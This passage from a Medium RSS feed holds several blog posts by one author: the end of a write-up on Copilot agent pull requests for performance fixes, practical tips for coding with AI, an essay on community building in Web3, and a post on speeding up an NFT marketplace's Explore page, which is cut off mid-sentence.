when the PRs were assigned to one of our (human) senior engineers, problems started to appear.</p><h3>The Results — Problem #1</h3><p>The first thing we noticed was that the updates the Copilot agent did broke two features entirely. In one case, the callsArray computation inside a useMemo was incorrectly triggering route optimization hooks during render. Since hooks must only be called at the top level of React components (never inside lists, loops, or memoized computations), this violated the <a href="https://react.dev/reference/rules/rules-of-hooks">Rules of Hooks</a> and caused runtime errors. In the other case, some hooks were also misused inside useEffect, which broke the component.</p><p>Both of these we were able to fix with iterations with the agent itself: we left comments specifying the issues on the PR, and prompted Copilot to address them. Those comments can include even screenshots from console logs, which made our lives much easier.</p><p>The solution proposed was straightforward: we introduced per-session caching for feature data. This caching was initially being too frequent, but after a few commits from our developer solving this and standardizing some other portions of the code, the PR was accepted and merged into our codebase, and we were able to reduce loading times from seconds to the milliseconds mark.</p><h3>The Results — Problem #2</h3><p>The second PR, however, had deeper issues. In addition to breaking stuff, the solution was highly verbose. After a few iterations with Copilot, we ended up closing the PR and opening a separate one instead, getting only the relevant stuff out.</p><p>The original PR introduced several new features, among them a “Progressive Message Loader”, a “Subscription Manager”, an “Enhanced Auth Token Provider”, and a “Performance Monitor”. It also updated how we were handling MessageEvent synchronization across the board. It touched 10 files and updated 3,307 lines of code.</p><p>After reviewing the proposed solution and understanding the problem better, our engineer opened a new PR. It touched 2 files and updated 41 lines of code. The only thing we kept was a few filters added to the MessageEvent synchronization methods. For all the other features added, the performance improvements were not relevant. This was later accepted and merged, and we measured relevant performance improvements.</p><p>In both cases, it appears the model generated benchmark-like numbers for illustration, but they didn’t align with our actual measurements.</p><h3>The Aftermath</h3><p>Why did two similar problems, solved with the same process, yield such different results?</p><p>It’s hard to say exactly. When reviewing everything, one theory is that it is due to the nature of both problems. LLMs are trained with an immense amount of data (coding-wise, from Stack Overflow and other community-driven sources). Which of the problems described here do you think the model had more examples of during training?</p><p>Problem #1 aligned well with common web performance fixes (caching), which the model likely had abundant training examples of. Problem #2 involved deeper architectural reasoning around AppSync and data flow, which seemed harder for the model to handle. Additionally, Problem #2 required more context and more structured thinking.</p><p>The model performed great, don’t get me wrong. And even if the solution was not merge-ready, it gave us an amazing starting point to get to the final version that went to production. Perhaps, if we had fed it more structured info, we could have gotten a better result, who knows?</p><p>Back in the day, performance bottlenecks were analyzed meticulously: multiple console.log() everywhere, hours spent going over the data pipeline, understanding how the functions behaved and what delay they could add, understanding multiple data sources and what the “typical” object looked like, and a lot of measurements everywhere. All of this before we could even get started thinking about a solution. Perhaps this structured debugging is something the current models lack for more complex applications.</p><p>I’m sure we’ll get there at some point, though.</p><p>These are interesting times for sure. Understanding how to better use these tools to solve the problems at hand gives the developer a lot of leverage on their day-to-day work, and it’s something we are constantly learning to do better here at Kmino ;)</p><p>If you want to learn more, make sure to follow us on <a href="https://www.linkedin.com/company/kminotech/">LinkedIn</a>!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b8ffa5c651db" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AI in Programming: Practical Tips for Developers]]></title>
            <link>https://medium.com/@brunozimpel/ai-in-programming-practical-tips-for-developers-3a86544878c4?source=rss-2b808477190b------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a86544878c4</guid>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[productivity]]></category>
            <dc:creator><![CDATA[Bruno Zimpel]]></dc:creator>
            <pubDate>Fri, 22 Aug 2025 13:39:44 GMT</pubDate>
            <atom:updated>2025-08-22T13:39:44.865Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_mq_rCxNRQmMfeUT" /><figcaption>Photo by <a href="https://unsplash.com/@sunx?utm_source=medium&amp;utm_medium=referral">Li Zhang</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p><em>This article was first published in my company&#39;s blog, </em><a href="https://www.kmino.io/"><em>Kmino</em></a><em>.</em></p><p>Hello and welcome to the first Kmino blog post! 🎉</p><p>Kmino was born out of the desire to make Software Engineering better, ship real digital products that deliver tangible value to our customers, using the right tools, practices, and processes for each one.</p><p>We’re just starting and, in the coming weeks, we have much to share related to Software Engineering, Product Management, AI, and entrepreneurship in general, so make sure to follow our <a href="https://www.linkedin.com/company/kminotech/">LinkedIn page</a>, where we’ll share every time there is a new post out!</p><p>Today, for our inaugural post, I’ll go over some basic tips on how to use AI to boost your coding productivity.</p><p>No need to have previous knowledge about it, we won’t get into expensive deep-context models, just your average GPT model in the IDE of your choice, and focusing much more on the HOW than on the WHAT.</p><p>So without further ado, let’s get to it!</p><h3>The Right Tool for the Right Job</h3><p>While we don’t get to AGI <a href="https://cloud.google.com/discover/what-is-artificial-general-intelligence">Artificial General Intelligence</a>, AI is just another tool in every developer’s toolkit. A really powerful tool, yes. But a tool nonetheless.</p><p>That being the case, every developer, junior or not, should learn how to use it effectively, as they would with Gitflow, command line, or IDE shortcuts.</p><p>Now, being a way more flexible tool than the others I just mentioned, there are multiple ways to use it. Some will give you good results, some will give you great results. But some may end up giving us more headaches and a backlog of technical debt to solve.</p><p>And this is the first tip of the day: The best way to avoid this catastrophic result is to treat AI models as what they are nowadays: a tool, not a miraculous gift from the skies that will solve every single problem on your codebase at the snap of your fingers. Especially for basic models, don’t expect it to rewrite your entire product in one go, but if you use it right, it can make all the difference in the world.</p><h3>Coding with AI 101: Self-Contained Tasks</h3><p>If you’re just starting now to include AI in your development workflow, the fastest way to extract value from it is to treat it as you would a less-experienced developer.</p><p>When onboarding a junior developer into an existing team, apart from the more institutional chores, the most common thing we do is to give them a set of self-contained tasks:</p><ul><li>Write unit tests for an API</li><li>Solve a specific bug where we’re missing simple data validation</li><li>Add new API endpoints following examples</li><li>Add some more boilerplate code</li></ul><p>These are tasks that have a clear beginning and end, references on what to do in different places of the codebase, don’t need extensive context of the business logic of your app, and are usually tasks that you could do yourself easily, if given enough time.</p><p>Even if we go back in time before the AI boom, IDEs that offered code completion already saved us a lot of time. You can think of using AI for repetitive tasks just like an autocompletion on steroids. It saves you time on repetitive tasks and also frees your brain’s bandwidth for higher-value issues that need solving.</p><h3>Complex Problems with Your AI Buddy</h3><p>Now that you’re done with the 101, it’s time to adventure further into what AI can do for you.</p><p>In the great book <a href="https://www.amazon.com/Pragmatic-Programmer-journey-mastery-Anniversary/dp/0135957052">The Pragmatic Programmer</a>, there is a story about a programmer who would carry a rubber duck around to help them debug their code. They would force themselves to explain the codebase out loud to the rubber duck, and this would help them better understand what was going on, what the issue was, and ultimately solve the problem.</p><p>This technique ended up being known as <a href="https://en.wikipedia.org/wiki/Rubber_duck_debugging">Rubberducking</a>, which is another way I personally like to use AI when coding. When faced with a difficult problem, I treat my AI companion almost as a pair programming buddy: exchanging ideas, asking it to explain code snippets to me, different functions, and how they interact with each other, and so on.</p><p>Leveraging its coding speed, I can ask it to create different testing scripts without breaking a sweat until we get to a solution that makes sense to the overall cohesiveness of the codebase, without adding any crazy overengineering to a solution that, most of the time, is simple to code but difficult to find.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_EW8SHSEbKFremf6" /><figcaption>Photo by <a href="https://unsplash.com/@wzyyg?utm_source=medium&amp;utm_medium=referral">Wu Zhongyi</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>Notes on Advanced AI Models</h3><p>Another powerful usage of AI is to do end-to-end changes of entire pieces of code. We may be talking about performance optimization, security improvements, or even legacy code refactoring.</p><p>AI can absolutely be used for that, and engineering teams extract a lot of value from it. However, depending on the codebase, you may hit a brick wall called the context window.</p><p>In short, the context window of an AI model, when we talk about software engineering, is the amount of code it can consider in its reasoning before suggesting a solution. Powerful models have longer context windows, but your average model does not. If you try to go down this route without a proper model, you’ll see that the AI will provide solutions, but most of the time, they will <em>feel</em> right while going way over what you actually need.</p><p>We’ll cover this in more detail in upcoming articles.</p><h3>Alternative Usages</h3><p>There are two more basic applications I want to talk about before we call it a day.</p><p>The first one is something everyone working on an engineering team knows that delivers a lot of value, especially when we scale teams and products, but no one likes to do: Documentation.</p><p>Essential for maintainability, good documentation can make or break the speed of onboarding new team members and deliveries that rely on a legacy codebase and business logic knowledge.</p><p>This is something AI excels at, and with proper review (more on that later), can create a lot of value fast. A pro tip is to even use the AI-generated documentation to feed simpler AI models, thus not requiring a large context window: just a few files and good documentation.</p><p>The second is a less-talked-about topic: using AI as a learning tool. In the past, when you had a syntax doubt or weren’t sure about how a language or framework dealt with a given problem, you would:</p><ol><li>Check Stack Overflow</li><li>Talk to a more senior dev</li><li>Read the official documentation</li></ol><p>All of these are great, but they meant leaving your coding environment, searching online, reading through multiple answers, finding the correct topic in the documentation, and so on. Once this was done, you were already out of the <em>zone</em>, and the momentum was lost.</p><p>Now you can do all of this without ever leaving your IDE. If you can reduce these small periods of looking stuff up online over a year, you will be miles in front of the competition, shipping faster, and becoming a better engineer.</p><h3>Closing Thoughts</h3><h3>Prompting</h3><p>As mentioned in the opening section, AI is a tool, and although I disagree that “prompting is an art”, you do need to learn how to prompt correctly to extract the maximum value.</p><p>In the coding context, there are some simple instructions that you can add explicitly to your prompts that have made a lot of difference for me:</p><ul><li><em>Don’t overengineer any solutions</em></li><li><em>Don’t touch the files’ structure without being explicitly asked to</em></li><li><em>Don’t change files outside of the requested scope</em></li></ul><p>If you’re using coding agents, a more structured instruction file is even better. This will be used as a reference for the agent when doing whatever work is required. Here is <a href="https://ampcode.com/AGENT.md">a great example of an instructions file</a> by Geoffrey Huntley from <a href="https://ampcode.com/">Amp Code</a>.</p><h3>Reviewing</h3><p>At the end of the day, AI models, especially the simpler ones, are great at predicting stuff. So the more complex the project is, for a simpler AI model, the greater the chance of it making mistakes.</p><p>Especially at these uncertain times, it’s imperative that you have AI-generated code passing through proper and diligent code reviews.</p><p><a href="https://linearb.io/">LinearB</a> did a great <a href="https://linearb.io/resources/2025-ai-code-review-buyers-guide">review of AI Code Reviewing Tools</a> (including their own) in 2025, including a solid framework definition that can be followed by anyone, and a benchmark on the most commonly used tools following this framework.</p><p>This is great if you’re in a big corporation, but even if you’re using tools to review AI and human-generated code, I strongly believe this should be just another extra step in your code reviewing process, and you still need a human engineer doing the final checks.</p><p>That is also true for whatever documentation you’re creating with AI, as it may create topics and example instructions that <em>feel</em> right, but don’t execute properly.</p><h3>Conclusion</h3><p>And that’s a wrap on today’s article!</p><p>tl;dr:</p><ul><li>AI is a tool for the good software engineer, not an overpowered robot that can do it all. Use it with this in mind.</li><li>If you’re just starting to use AI in your coding workflow, consider the two most basic usages:</li><li>Give AI self-contained tasks to complete.</li><li>Treat AI as your pair programming buddy to help debug more complex issues.</li><li>Pay attention to AI models’ limitations, and use prompting wisely to work around them.</li><li>Always review everything that is AI-generated to make sure not to be taken away by the hype of verbose and quickly generated code.</li></ul><p>For more valuable insight, make sure to follow us on <a href="https://www.linkedin.com/company/kminotech/">LinkedIn</a>, and see you at the next one!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a86544878c4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Your Community is the Spine of Your Web3 Product]]></title>
            <link>https://medium.com/@brunozimpel/why-your-community-is-the-spine-of-your-web3-product-8a4a5ffb078f?source=rss-2b808477190b------2</link>
            <guid isPermaLink="false">https://medium.com/p/8a4a5ffb078f</guid>
            <category><![CDATA[crypto]]></category>
            <category><![CDATA[community-management]]></category>
            <category><![CDATA[web3]]></category>
            <category><![CDATA[product-management]]></category>
            <dc:creator><![CDATA[Bruno Zimpel]]></dc:creator>
            <pubDate>Tue, 23 Jul 2024 18:06:26 GMT</pubDate>
            <atom:updated>2024-07-23T18:06:26.529Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_PbS8MSNfAOmijQs" /><figcaption>Photo by <a href="https://unsplash.com/@onefifith?utm_source=medium&amp;utm_medium=referral">Shubham Dhage</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>For about two years now, I’ve been working almost exclusively with Web3 projects. Before my current job, working in tech for years, although I had read and heard about Blockchain, Crypto, NFTs, and Web3, many of these concepts were mixed in my head, and I had never taken the time to sit down and learn about them in-depth. This changed when I was being onboarded at the company I’m in today.</p><p>As a Product Manager, they say you work in an intersection between tech, marketing, and business. Although I learned a lot in the tech department, I was surprised by how much I also discovered in the marketing and business domains, especially when comparing some of the processes with their well-established Web2 counterparts.</p><p>For starters: users, community, and investors, and why it’s a different beast altogether when we talk about Web3.</p><h3>Gm and Gn: Communities in Web3</h3><p>It’s a no-brainer that having a community backing up your product and brand is a smart move. Once your product is live and people start noticing it, it’s a mistake not to pay attention to the community that forms around it. Some companies use their community to gather product feedback, others as brand ambassadors, others to increase marketing reach, and so on. Think about Apple, for example, which uses all three.</p><p>It’s important not to confuse “Community” with “Interview Users”. In the early stages of any product, we survey and interview our target audience, their problems, and pains, until we find product-market fit (at least if you’re following this school of thought, but we can discuss this at another time). This is done, ideally, before the initial launch, so the development, marketing, and business efforts are put in the right direction. That’s not what I’m talking about. Here, I’m addressing the users that gather around your product because they believe in it, and support your brand fiercily.</p><p>A common denominator to all strategies that I have read before is the timeline: you first launch a product that works and solves a market problem, and then you start building a community around it. Some are created more organically, and others by an active effort from the company.</p><p>Well, not in Web3. “Community” is at the core of a product’s existence, even before there <em>is</em> a product. It’s not uncommon that the first thing a project has is a Twitter account and a Discord server. Through partnerships and marketing campaigns (more on that later), the project owners start gathering people interested in the <em>idea</em> of the product, which becomes your initial community.</p><p>Oftentimes, the product vision itself is openly discussed with these people, and until the product launches per se, there is a lot of back and forth between the team members and the community. Keeping the community <em>engaged</em> in your vision can be the make-or-break factor in the success of your product.</p><h3>Twitter, Discord, and Telegram, Key Players on Your Project</h3><p>Here we have the first really important role/job description we lack in Web2: the Community Moderator (CM). This person is responsible for being around on Twitter, Discord, Telegram, and whatever other communication channel the project has, <em>talking</em> with the community: about amenities, project updates, chit-chat, technical support, and keeping the <em>hype up</em> while the rest of the team keeps building. It’s not uncommon for a project to hire CMs from different time zones, so we have 24/7 activity in the communication channels.</p><p>To make the whole experience more engaging, there are usually milestones in project development that keep the community interest high. These are deliverables shared with the community and openly discussed among everyone involved. Some of the common ones are:</p><ul><li>1) <strong>Product Roadmap</strong>: One of the feats that differentiates an authentic Web3 project from a scam one is that the team involved has a long-term vision for where the product is going, and is not only interested in a token pump-and-dump scheme, and on leaving after receiving initial investments. If the team has a long-term vision, it’s common to share it with the community in the form of a product roadmap, showcasing a general timeline of what comes next, in each of the stages of development. Examples <a href="https://medium.com/@alchemypay/alchemy-pay-roadmap-breakdown-web3-digital-bank-for-users-and-companies-607ece4f5937">1</a>, <a href="https://blog.uniswap.org/year-in-review">2</a>, and <a href="https://starkware.co/cairo-roadmap-join-the-ride/">3</a>.</li><li>2) <strong>Whitepaper</strong>: If the project involves a novel method of doing <em>something</em>, it’s usual to have a Whitepaper released, which is a document focused on the technical aspects of the core offering of the product, and why it’s worth the attention. The document itself resembles a technical article, although it usually lacks the formality of peer reviews we see in academia. Examples <a href="https://uniswap.org/whitepaper-v3.pdf">1</a>, <a href="https://github.com/aave/aave-v3-core/blob/master/techpaper/Aave_V3_Technical_Paper.pdf">2</a>, and <a href="https://superdapp.ai/assets/files/aida-whitepaper.pdf">3</a>.</li><li>3) <strong>Litepaper</strong>: Different than the Whitepaper, the Litepaper targets the entire user base and community, not only the tech-savvy members. It’s a more accessible document, and it usually covers the whole product: conceptualization ideas, state of the market backed by research, the main product offerings, the team behind it, showcases the project roadmap, talks about the future, and the overview of the tokenomics. It’s a well-thought-out document, reviewed by the internal team and crafted by graphic designers considering the brand identity of the product. Examples <a href="https://superdapp.ai/assets/files/SuperDapp_Litepaper.pdf">1</a>, <a href="https://docs.credbull.io/docs/litepaper">2</a>, and <a href="https://cloudborn.gitbook.io/cloudborn-litepaper">3</a>.</li><li>4) <strong>Tokenomics</strong>: If the product involves a token (it usually does), it’s pretty standard to have a document — being a Medium post, a page on Gitbooks, or another page on the website — explaining the reasoning behind the token and its main characteristics. Stuff like what are the main utilities of the token, its total supply, the initial price on TGE (Token Generation Event, more on that later), and <em>allocations</em>. When launching a token, there is usually part of its supply — and thus, of the initial investment on the project — that gets allocated to specific ends: internal treasury, team members, community management, marketing, private investors, and so on. These are extremely important for the community, as it shows, once again, what are the long-term plans for the project considering the initial investment. Complementary to the allocations, we also present to the community the <strong>vesting periods</strong>. If the allocation for “Internal Teams” has a vesting period of 2 years, the community knows for sure that, for <strong>at least two years</strong>, the internal team will keep building. Examples <a href="https://docs.aave.com/aavenomics">1</a>, <a href="https://docs.subsquid.io/subsquid-network/tokenomics/">2</a>, and <a href="https://medium.com/uno-re/unore-tokenomics-structure-daa63a40b7b3">3</a>.</li></ul><p>These are just some of the examples that we have in the Web3 space. The release of each one of those is usually an event on its own. Twitter announcements, Marketing PRs, and Discord announcements are all resources used to increase the awareness of these deliveries for the community members, as well as share the vision of the project further to new audiences.</p><p>Now and then, it’s also usual to host an Ask-me-Anything (AMA) event through Twitter Spaces, where the team creates the environment for the community to engage even further with the team building the project, and ask any questions they may have. These are especially common after the launch of the deliveries mentioned earlier, so the community can ask specific questions about the Tokenomics, Whitepaper, Roadmaps, and so on.</p><p>As you can see, Twitter, Discord, and Telegram are as important for the product launch as anything else related to the tech side.</p><p>If you have an engaged community, you’re one step further to launch a successful Web3 product. Even if the product itself is not 100% polished. An engaged community will be supportive even then, while you work through the bugs and improvements necessary.</p><p>So far, we’ve spoken mostly about the role of the community as “really engaged users” and “brand ambassadors”. But on Web3, they go one step further, becoming investors or even decision-makers inside the organization. And this is what we’re going to dive into next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2aVhpbZ_IprYXKXh" /><figcaption>Photo by <a href="https://unsplash.com/@onefifith?utm_source=medium&amp;utm_medium=referral">Shubham Dhage</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>Investors x Users x Decisions-Makers</h3><p>If your Web3 product involves a token, there is usually an event hosted sometime before the product launches, called TGE (Token Generation Event). Loosely based on an IPO (Initial Public Offering) and previously called ICO (Initial Coin Offering) — later changed to TGE for regulatory reasons — the TGE is when the token is initially offered to the public as a tradeable crypto asset.</p><p>This event is held in partnership with Launchpads, CEXs (centralized exchanges), and sometimes DEXs (Decentralized Exchanges), and although this whole thing could easily be a new article, what I want to focus on here is that, as the token is available for everyone to buy, anyone can become an investor of your product, including your community.</p><p>Now, this is really similar to you buying a stock from a publicly listed company. If you hold stocks from a company, you do have rights to some extent, such as voting at shareholder meetings. The key difference here is that not all shareholders have direct access to a communication channel with the company’s project leads, something present in Web3.</p><p>After the TGE, community involvement evolves to new heights. This creates an interesting dynamic. If the project goes well, everyone is happy and supportive. If the token prices drop, you will see this support go away pretty fast. Having a supportive community also matters here: if the users believe in you and the project, they will invest for the long run, otherwise, they may just surf the hype and sell the token afterward, dumping the price and the product’s overall evaluation. Tough situation to recover from.</p><p>This system can also take one step further. If the token launched is also a governance token, the investor can literally become part of the organization. This first level is simply to serve as a governance force to make some decisions on the project. The last level to it is effectively taking control of the project’s future.</p><p>These projects are called DAOs: Decentralized Autonomous Organizations, where there is no central authority, and all members of the DAO engage in voting processes to make decisions about the product and/or protocol.</p><p>The legal surrounding DAOs, however, are fuzzy. Even if in practice a giving project is a DAO, most likely it still has a central authority that holds the rights to the legal entity of the company, and this doesn’t seem to be changing anytime soon.</p><h3>Community Building in Web3</h3><p>Now that we covered the importance of the community in a Web3 project, and the extent to which their influence can affect its success, it’s interesting to go some steps back and look at how one’s community is initially built. And it all starts with our old pals: Twitter and Discord.</p><p>When a project starts, the usual social media magic from Web2 also applies, although there are some limitations regarding the use of paid ads, a good social media strategist will be able to grow your audience as in any other product. Outside of that, there are also two strategies widely used for starting Web3 projects, as well as more established ones.</p><p>The first of them is the partnerships I mentioned in the first section. In practice, these are interactions between two different projects on Social Media, where they expose their respective communities to each other, in the hopes of sparking interest in them about the new project. Is a low-cost win-win situation for both companies.</p><p>Although this strategy usually yields good results in terms of ‘community farming’, I believe some teams completely overdo it, as sometimes the relation between the projects is non-existent. There is no partnership and no real integration whatsoever, and yet, some teams announce these partnerships as game-changing moves when, in practice, nothing has changed in the product of either party due to this collaboration. In these cases, this ‘community farming’ is unauthentic. Your social media numbers may gain a pump, but no real interaction or revenue comes out of it, and they most likely will go down after a while.</p><p>On the other hand, when done properly and with some real content behind it, it can bear more fruits than just social media numbers, but actual users and engaged community members. If you’re a DEX and partner up with a Lending Protocol, for example. Or an NFT Marketplace offering whitelabel services for a Web3 gaming platform where all game assets are NFTs. These partnerships have indeed something behind them, and presenting the products to the other party’s community makes sense.</p><p>The second strategy involves KOLs (Key Opinion Leaders), which in Web2 we usually call Influencer Marketing. If you have ‘Web3’ or ‘Crypto’ among your topics of interest on Twitter, I bet that the posts you see the most are big accounts on Twitter hyping up — or <em>shilling</em> — a giving token, or NFT Collection, or Web3 project. And why everyone is missing out on not looking at them. By creating FOMO (Fear Of Missing Out), they drive their audience into looking at a giving project. Of course, this is done for a certain price.</p><p>It’s common for companies to negotiate a pack of X amount of tweets, Y amount of retweets in time window Z for a giving price in stable coins (USDT/USDC) plus some additional value in the project’s token, adding some ‘skin in the game’, for the KOLs being hired.</p><p>As always, there are good KOLs that generate organic engagement for you and bad KOLs, that hire hundreds of bots to mask good numbers and cash out. The Web3 and Crypto space is full of scams, and the KOL industry is just another one to be careful about.</p><h3>Wrapping up</h3><p>Alright, to sum up, community is a huge thing in Web3, and if you intend to make your product work in this market, you shouldn’t overlook it.</p><ul><li>As in Web2, prefer to grow it organically. Although you have different tools and strategies available, don’t misuse them, as this may go back to bite you.</li><li>Your community can be your biggest supporter or your biggest hater. Invest in making them your allies. One such investment is in good CMs.</li><li>A strong community is also crucial for a successful TGE and the long-term economic health of your protocol.</li><li>Finally, if your product has a token-based governance system or is a DAO, the community comes first, as its effects are even broader.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8a4a5ffb078f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Three Strategic Moves Rescued Our Backend’s Performance]]></title>
            <link>https://medium.com/design-bootcamp/how-three-strategic-moves-rescued-our-backends-performance-aef7c108923f?source=rss-2b808477190b------2</link>
            <guid isPermaLink="false">https://medium.com/p/aef7c108923f</guid>
            <category><![CDATA[product-management]]></category>
            <category><![CDATA[nft]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[project-management]]></category>
            <category><![CDATA[systems-thinking]]></category>
            <dc:creator><![CDATA[Bruno Zimpel]]></dc:creator>
            <pubDate>Thu, 25 Jan 2024 12:13:03 GMT</pubDate>
            <atom:updated>2024-01-29T10:28:44.913Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Ja-NP7VaSQj6PtGf" /><figcaption>Photo by <a href="https://unsplash.com/@slelham?utm_source=medium&amp;utm_medium=referral">Steven Lelham</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>One of the products I’m responsible for at my current company is an NFT Marketplace. Technically speaking, it’s a complex one. Apart from the general web development combo of frontend, backend, and database, we also have several different services running that are needed to keep different functionalities working as they should. In-app notification systems, blockchain-indexer services, services that monitor traded values, and so on.</p><p>A common denominator in the majority of Marketplace-like products is that the amount of data being processed — loaded, filtered, sorted, etc — is overwhelming. So as the products scale, performance plays a huge role in continuous development.</p><p>Another usual feature in marketplaces is a page where users can browse through a list of products, frequently with the ability to sort and filter through this data, to find the best match for their heart’s desire. In our marketplace, this is no different. We called it the “Explore page”.</p><p>Our “Explore page” was a performance nightmare. As we scaled and started offering new products, rendering and sorting the sheer amount of data became more and more challenging. We were already measuring high loading times, in the house of <strong>10s</strong>, but the last straw came with the launch of a particularly heavy NFT collection, that, depending on your connection, increased the loading times to up to <strong>27.2s</strong>!</p><p>In 2023, we wrapped up a refactor that targeted reducing this loading time. After some weeks of work, the improvement was outstanding, with nearly instantaneous loading times, the measured improvement was over <strong>180 times</strong>.</p><p>To reach that, we worked on a mix of migrating our data sources, a clever new service, and computer architecture-ish changes. And this is the story of how we did it :)</p><h3>Migrating our data sources</h3><p>If you have not been living under a tree for the past three years, you probably already heard about NFTs. Now, to get something out of this story, you don’t need to know in detail what non-fungible tokens are, it’s enough to know that, in the most common form, NFTs have metadata associated with them: a name, a specific set of characteristics of that particular token (called traits), and <em>some</em> media or artwork to represent them, the most common one being an image, like those weird <a href="https://luxy.io/collections/boredapeyachtclub?tab=collection">apes</a> you probably saw online.</p><p>I say “the most common”, because there is not really a rule. It could be a GIF, a video, a document, a song, an <a href="https://opensea.io/assets/ethereum/0x18487d2cac946c7fe800855c4039aac210f68baa/100">iterative videogame</a>, whatever. The “last straw” collection mentioned in the previous section, for example, had a high-resolution video as its artwork.</p><p>When we talk about NFTs, another important detail is that there are no standards related to where the media is stored. They could be in a <strong>centralized medium</strong> — think an S3 bucket — and the marketplaces can consume an API endpoint to fetch the info; or in a <strong>decentralized medium</strong>, an IPFS server.</p><p>The Interplanetary File System (dramatic name, btw) is essentially a file system that allows you to store files and track versions over time, like Git, on a distributed P2P network, somewhat like BitTorrent.</p><p>In our NFT Marketplace, different NFT Collections are indexed from the Blockchain: identified, and added to our local database. These are then shown in the UI for users to interact with.</p><p>Having no standard regarding where the artwork from different collections is coming from creates a problem because even if you save a link/pointer to the image in a local database, the latency to fetch this information will vary from NFT to NFT. The worst part is that you don’t have control over it.</p><p>Now that you have this pickle in your hands, if you have to display NFTs from different collections on one single page, fetching the artwork to preview it from different places may cause problems. The latency of one IPFS server may be lower than a different NFT’s API endpoint, for example. Weird and bad user experience, and you can wave goodbye to your customers as they exit through the left door.</p><p>This was part of our performance problem. Once identified, the solution was straightforward: let’s keep a local copy of the artwork from all of these NFTs, the main bottleneck to load the entire Explore Page.</p><p>When we indexed a new collection of NFTs to our Marketplace, we would make a copy of the artwork to a local R2 storage (again, think a S3 bucket, but Cloudflare’s). Having a local copy simplified things: when users access our Explore page, instead of fetching the artwork from different places for each NFT, all of them are now coming from the same place, thus removing the different latencies problem from the equation!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DxRade7dr_ac0qRE" /><figcaption>Photo by <a href="https://unsplash.com/@marcsm?utm_source=medium&amp;utm_medium=referral">Marc Sendra Martorell</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>A clever new service</h3><p>With the data source migration, we already reduced the loading times significantly. There was still one problem here: some artwork files were heavier than others. A <a href="https://luxy.io/collections/syspunks/Syscoin/56">bitart PFP NFT</a> is way lighter than an <a href="https://opensea.io/assets/ethereum/0xba66a7c5e1f89a542e3108e3df155a9bf41ac824/5962">abstract artwork in a looping video</a>, for example. And here is where the “Clever new service” comes into play.</p><p>The quality of the artwork is important for the NFT community. So if I am to access the individual page of an NFT, I do expect to see the artwork in its fully realized and pure form. Resolution is not something we can mess up here.</p><p>If we’re talking about an individual page of an NFT.</p><p>In the case of a page such as ours “Explore”, where we are just showing a thumbnail of the artwork, the quality didn’t matter that much.</p><p>So we created a new service, that downscalles all artwork before they are saved in our R2 instance. In our databases, we now saved two pointers of the same artwork: one to the source, being it wherever it was, and another to our R2, hosting the downscaled one, to be used where just a thumbnail is enough. This service is also executed as part of the pipeline to index new collections, so moving forward the same standard is applied to every new product added.</p><p>Now, there is only one problem left. The sheer amount of data that we were handling.</p><p>New NFT collections are created every day, and it’s not uncommon for them to have 10k to 100k items. If each NFT is an item in a database document, you can imagine how fast this can grow. Navigating through this document to fetch specific items, filter, and sort them is a heavy process, even if the artwork files are swiftly available from a local database, in a lower resolution that wouldn’t get in the way.</p><p>The solution for the final problem lies in computer architecture theory: memory hierarchy.</p><h3>Computer Architecture-ish changes</h3><p>When I was back in college, I was a big nerd in Computer Architecture. As an Electronics Engineer bachelor, who for some years studied hardware and software as intrinsically separated things, there was something about finally getting to understand the interface between both that was just <a href="https://youtu.be/EUoj_6MpfJo">:chef’s kiss:</a>. So when the opportunity appeared to use some concepts remotely resembling those I studied for years, it got me fired up.</p><p>So “memory hierarchy”, what do I mean by this? In a computer, we have several levels of memory. The speed to access the data stored in these memories is inversely proportional to its size. So if you have pieces of info that are used more frequently in whatever process you have running, they get stored in the cache memory, which is physically closer to the CPU, thus smaller, thus the faster level of memory you can have.</p><p>Now, these different levels of memory do not contain different data, but each smaller hierarchy contains a subset of the one immediately above it in size, think Cache vs RAM, for example.</p><p>And this is the exact concept we applied to our Explore page. We created a new document in our MongoDB, a “cache” from our original millions-of-items NFT document, containing only a subset of the original document’s data: the first ten pages of NFTs we are showing considering all combinations of sortings and filtering available.</p><p>Ten was no arbitrary number. From what we could analyze, it was rare for our users to go deeper than this in their browsing-for-new-products sessions, and it was also a number that would significantly reduce the size of the document we’re consulting to run all sorting/filtering queries.</p><p>Additionally, we updated some of our endpoints so that when a given NFT had their data updated, both of our database documents were updated with the same value, the original and the new cache one, thus keeping the memory <em>coherent</em>.</p><p>That was the last step of our refactoring. Testing all pieces together, we measured times of around 